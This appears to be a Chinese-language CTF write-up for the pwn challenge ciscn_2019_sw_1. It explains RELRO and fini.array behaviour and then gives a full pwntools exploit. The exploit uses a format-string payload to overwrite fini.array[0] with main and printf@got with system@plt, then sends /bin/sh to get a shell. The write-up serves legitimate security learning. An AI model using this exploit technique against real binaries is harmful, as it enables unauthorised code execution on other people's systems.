ciscn_2019_sw_1

ciscn_2019_sw_1

总结

根据本题，学习与收获有：

• 当RELRO保护为NO RELRO的时候，init.array、fini.array、got.plt均可读可写；为PARTIAL RELRO的时候，ini.array、fini.array可读不可写，got.plt可读可写；为FULL RELRO时，init.array、fini.array、got.plt均可读不可写。
• 程序在加载的时候，会依次调用init.array数组中的每一个函数指针，在结束的时候，依次调用fini.array中的每一个函数指针
• 当程序出现格式化字符串漏洞，但是需要写两次才能完成攻击，这个时候可以考虑改写fini.array中的函数指针为main函数地址，可以再执行一次main函数。一般来说，这个数组的长度为1，也就是说只能写一个地址。

题目分析

checksec

函数分析

main

程序比较简单，只有一个main函数，而且就是格式化字符串漏洞。同时注意到，程序中有一个sys函数，里面调用了system。

sys

漏洞点

漏洞点很明显，就是main函数中的格式化字符串漏洞。可以并且格式化参数是一个栈变量而不是堆变量，相对来说利用难度要低一点。并且程序给了system函数，其实都不需要泄露地址。

利用思路

知识点

• 程序在结束的时候会调用fini.array函数指针数组中的每一个回调函数。

  

利用过程

• 利用格式化字符串漏洞，将fini.array[0]改写为main函数地址，与此同时，将printf@got改写为system@plt，获得第二次执行main函数的机会
• 输入/bin/sh获取shell

EXP

调试过程

1. 测出printf格式化字符串的偏移

   输入：aaaa%x,%x,%x,%x,%x,%x,%x,%x,%x,%x

   

   测量出偏移为4

2. 第一次改写fini.array和printf@got，直接手撸：

   payload = b"%2052c%13$hn%31692c%14$hn%356c%15$hn"+ p32(0x804989c + 2) + p32(0x804989c) + p32(0x804979c)
   
   sh.recvline()
   sh.sendline(payload)
   

   改写前：

   

   改写后：

   

3. 第二次输入/bin/sh获取shell：

   

完整exp

from pwn import *

sh = process("./ciscn_2019_sw_1")
# 往fini.array[0]写main@text, printf@got写system@plt
payload = b"%2052c%13$hn%31692c%14$hn%356c%15$hn" + p32(0x804989c + 2) + p32(0x804989c) + p32(0x804979c)

sh.recvline()

sh.sendline(payload)

sleep(1)

sh.sendline("/bin/sh")
sh.interactive()

远程攻击效果：

参考与引用

我的博客地址：https://roderickchan.github.io/